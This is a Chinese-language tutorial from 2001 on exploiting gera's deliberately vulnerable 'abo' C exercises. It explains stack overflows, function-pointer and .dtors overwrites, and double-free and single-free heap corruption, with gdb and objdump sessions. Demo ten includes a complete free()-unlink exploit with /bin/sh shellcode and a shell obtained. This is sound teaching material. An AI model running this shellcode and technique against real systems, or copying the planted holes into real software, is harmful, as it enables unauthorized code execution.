非安全编程演示之高级缓冲区溢出篇 作者:alert7 主页: http://www.xfocus.org/ http://www.whitecell.org/ 公司:华泰网安 < http://www.netguard.com.cn > 时间: 2001-11-9 声明:文中的大部分演示程序来自qera ,感谢qera为 我们精心构造这些很能说明的演示程序。 有些程序可能有不只一种的利用方法,而文中又没有提到的。如果您有 好的idea,记得mailto:alert7@xfocus.org,不正确或者不当之处还 请斧正。 ★★ 一 高级缓冲区溢出篇 ★ 1.1 演示一----盲目服从(blind obedience) 定义的buf太小,需要copy的数据不足以容纳下。 /* abo1.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* Dumb example to let you get introduced... */ int main(int argc,char **argv) { char buf[256]; strcpy(buf,argv[1]); } 这是个很好的例子程序,很能说明问题:该程序将拷贝argv[1]到buf中,使用了 strcpy函数,没有做任何的边界检查。这就给了我们一个机会,传一个超长的 argv[1]进去,覆盖到堆栈中buf后面的数据。你需要利用所有的工具来查看 buf后面到底是什么重要的东西,然后才能构造出那些exploit需要的摸板。 ★ 1.2 演示二----执行流程(execution flow) 在来看看这个程序 /* abo2.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* This is a tricky example to make you think * * and give you some help on the next one */ int main(int argv,char **argc) { char buf[256]; strcpy(buf,argc[1]); exit(1); } 正如我们看的那样,在这个例子中,加了个exit(). 发现了不同了吗?一般利用覆盖 main的返回地址的方法已经行不通了。在这个例子中,windows下利用windows的异常 机制可以成功的溢出这个程序,而在unix下就没有这种特性,暂时还不知道如何溢出 这个程序?或者就根本不能利用。欢迎讨论,请mailto:alert7@xfocus.org :) ★ 1.3 演示三----覆盖函数指针 /* abo3.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* This'll prepare you for The Next Step */ int main(int argv,char **argc) { extern system,puts; void (*fn)(char*)=(void(*)(char*))&system; char buf[256]; fn=(void(*)(char*))&puts; strcpy(buf,argc[1]); fn(argc[2]); exit(1); } 可利用缓冲区溢出覆盖fn函数指针,达到攻击目的。 ★ 1.4 演示四----覆盖指针,导致任意地址的覆盖 /* abo4.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* After this one, the next is just an Eureka! away */ extern system,puts; void (*fn)(char*)=(void(*)(char*))&system; int main(int argv,char **argc) { char *pbuf=malloc(strlen(argc[2])+1); char buf[256]; fn=(void(*)(char*))&puts; strcpy(buf,argc[1]); strcpy(pbuf,argc[2]); fn(argc[3]); while(1); } 第一个strcpy时候,可覆盖到pbuf指针,可使pbuf指向fn地址,所以第二次 strcpy的时候就会覆盖到fn指针,结果运行fn()函数的时候就可以执行任意 函数调用,比如system(); ★ 1.5 演示五----ch-ch-ch-changes /* abo5.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* You take the blue pill, you wake up in your bed, * * and you believe what you want to believe * * You take the red pill, * * and I'll show you how deep goes the rabbit hole */ int main(int argv,char **argc) { char *pbuf=malloc(strlen(argc[2])+1); char buf[256]; strcpy(buf,argc[1]); for (;*pbuf++=*(argc[2]++);); exit(1); } 第一个strcpy时候,可覆盖到pbuf指针,可使pbuf指向exit的GOT或者.dotrs地址+4, 从而可以覆盖到那些部分,获得控制权。 ★ 1.6 演示六 /* abo6.c * /* specially crafted to feed your brain by gera@core-sdi.com */ /* wwwhat'u talkin' about? */ int main(int argv,char **argc) { char *pbuf=malloc(strlen(argc[2])+1); char buf[256]; strcpy(buf,argc[1]); strcpy(pbuf,argc[2]); while(1); } 第一个strcpy时候,可覆盖到pbuf指针,可使pbuf指向第二个strcpy函数的返回地址, 从而可以覆盖到该地址,第二个strcpy一返回就可以获得控制权。 ★ 1.7 演示七 /* abo7.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* sometimes you can, * * sometimes you don't * * that's what life's about */ char buf[256]={1}; int main(int argv,char **argc) { strcpy(buf,argc[1]); } [alert7@redhat]$ gcc -o test test.c -g [alert7@redhat]$ gdb test -q (gdb) l 1 char buf[256]={1}; 2 3 int main(int argv,char **argc) { 4 strcpy(buf,argc[1]); 5 } (gdb) b 4 Breakpoint 1 at 0x80483cb: file test.c, line 4. (gdb) r 999 The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/alert7/test 999 Breakpoint 1, main (argv=2, argc=0xbffffbc4) at test.c:4 4 strcpy(buf,argc[1]); (gdb) p &buf $1 = (char (*)[256]) 0x8049460 buf的地址为0x8049460,也就是说如果0x8049460地址后有什么重要的话我们 可以得到控制权的数据的话,那么我们就可以溢出成功。 在这里: [alert7@redhat]$ objdump -s -j .dtors test test: file format elf32-i386 Contents of section .dtors: 804956c ffffffff 00000000 ........ 我们可以覆盖.dtors,达到获得控制权的目的。 ★ 1.8 演示八 Don't stay static /* abo8.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* spot the difference */ char buf[256]; int main(int argv,char **argc) { strcpy(buf,argc[1]); } [alert7@redhat]$ gcc -o test test.c -g [alert7@redhat]$ objdump --dynamic-reloc test test: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804947c R_386_GLOB_DAT __gmon_start__ 0804946c R_386_JUMP_SLOT __register_frame_info 08049470 R_386_JUMP_SLOT __deregister_frame_info 08049474 R_386_JUMP_SLOT __libc_start_main 08049478 R_386_JUMP_SLOT strcpy [alert7@redhat]$ gdb test -q (gdb) l 1 2 char buf[256]; 3 4 int main(int argv,char **argc) { 5 strcpy(buf,argc[1]); 6 } 7 (gdb) b 5 Breakpoint 1 at 0x80483cb: file test.c, line 5. (gdb) r 11 Starting program: /home/alert7/test 11 Breakpoint 1, main (argv=2, argc=0xbffffbc4) at test.c:5 5 strcpy(buf,argc[1]); (gdb) p & buf $1 = (char (*)[256]) 0x8049540 (gdb) q The program is running. Exit anyway? (y or n) y [alert7@redhat]$ objdump -s -j .dtors test test: file format elf32-i386 Contents of section .dtors: 8049458 ffffffff 00000000 ........ [alert7@redhat]$ gcc -o test test.c -g -static [alert7@redhat]$ gdb test -q (gdb) l 1 2 char buf[256]; 3 4 int main(int argv,char **argc) { 5 strcpy(buf,argc[1]); 6 } 7 (gdb) b 5 Breakpoint 1 at 0x804819b: file test.c, line 5. (gdb) r 11 Starting program: /home/alert7/test 11 Breakpoint 1, main (argv=2, argc=0xbffffc14) at test.c:5 5 strcpy(buf,argc[1]); (gdb) p &buf $1 = (char (*)[256]) 0x807bb60 (gdb) p __exit_funcs $2 = (struct exit_function_list *) 0x807b160 [alert7@redhat62 alert7]$ objdump -s -j .dtors test test: file format elf32-i386 Contents of section .dtors: 807b100 ffffffff 00000000 ........ buf的地址都比其他的地址要大,所以覆盖不到他们。 这个例子还不知道如何得到控制权呢?用超长字符串覆盖main函数的 返回地址是不现实的,并且在还没有覆盖到main函数返回地址之前就会 Segmentation fault,原因是访问了一个没有映射的地址(地址 映射是不连续的) 。 这个演示程序让我郁闷了好久,在我的linux上还真的无法成功溢出这个 程序,还是qera又一次专门为windows设计的!?(如果您有好的idea, 记得mailto:alert7@xfocus.org)。在windows下成功溢出这个演示程 序是没有问题的。 ★ 1.9 演示九----两次free技术 /* abo9.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* free(your mind) */ /* I'm not sure in what operating systems it can be done */ int main(int argv,char **argc) { char *pbuf1=(char*)malloc(256); char *pbuf2=(char*)malloc(256); gets(pbuf1); free(pbuf2); free(pbuf1); } 请参考waring3的<<一种新的Heap区溢出技术分析>> 那片文章上已经讲的很明白了,不想多说,不想做重复的劳动:) ★ 1.10 演示十----一次free技术 /* abo10.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* Deja-vu*/ /*modify by alert7@netguard.com.cn */ char buf[32]; int main(int argc,char **argv) { char *pbuf=(char*)malloc(32); strcpy(buf,argv[1]); free(pbuf); } [alert7@redhat]$ gcc -o test test.c -g [alert7@redhat]$ gdb test -q (gdb) l 1 char buf[32]; 2 3 int main(int argv,char **argc) { 4 char *pbuf=(char*)malloc(32); 5 6 strcpy(buf,argv[1]); 7 free(pbuf); 8 } (gdb) b 6 Breakpoint 1 at 0x804843d: file t.c, line 6. (gdb) r aaaa The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/alert7/test aaaa Breakpoint 1, main (argc=2, argv=0xbffffbc4) at t.c:6 6 strcpy(buf,argv[1]); (gdb) p &buf $1 = (char (*)[32]) 0x80495e0 (gdb) p pbuf $2 = 0x8049608 "" (gdb) p &pbuf $3 = (char **) 0xbffffb74 /* Exploit for free() with unlinking previous chunk - ex1.c * by warning3@nsfocus.com (http://www.nsfocus.com) * 2001/03/06 *基本没有动waring3这个模版---by alert7 */ #include #include //#define __FREE_HOOK (0x80494d8+4) /* __free_hook()地址 */ #define RETLOC (0x80494d8+4) #define VULPROG "./test" #define PREV_INUSE 0x1 #define IS_MMAPPED 0x2 char shellcode[] = "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据 */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; main (int argc, char **argv) { unsigned int codeaddr = 0; char buf[128], fake_chunk[16]; char *env[2]; unsigned int *ptr; /* 计算shellcode在堆栈中的地址 */ codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1); env[0] = shellcode; env[1] = NULL; /* 伪造一个块结构。 */ ptr = (unsigned int *) fake_chunk; *ptr++ = 0x11223344 & ~PREV_INUSE; *ptr++ = 0xfffffffc; *ptr++ = RETLOC - 12; *ptr++ = codeaddr; bzero (buf, 128); memset (buf, 'A', 32); ptr = (unsigned int *) (buf + 32); /* 让prev_size等于-8 ,使其指向我们伪造的块. 满足III条 */ *ptr++ = 0xfffffff8; /* 只要保证next以及next->size可以访问即可。所以让size长度等于-4 , * 如果要为正值,必须找到堆栈里的一个有效值,还要计算偏移,太麻烦。 * 同时要清两个标记。满足I.,II.条 */ *ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED); /* 将伪造的块放到确定位置。满足第IV条 */ memcpy (buf + 32 + 8, fake_chunk, sizeof (fake_chunk)); execle (VULPROG, VULPROG, buf, NULL, env); }/* End of main */ [alert7@redhat62 alert7]$ ./exp bash$ id uid=502(alert7) gid=502(alert7) groups=502(alert7) 可覆盖到pbuf的chunk块,利用一次free技术也可覆盖到.dotrs,main的返回地址等等。 演示九和演示十都是由于缓冲区溢出而导致的内存管理函数处理出错,从而利用内存管理 函数中的写操作,覆盖到自己想要覆盖的任何地址空间。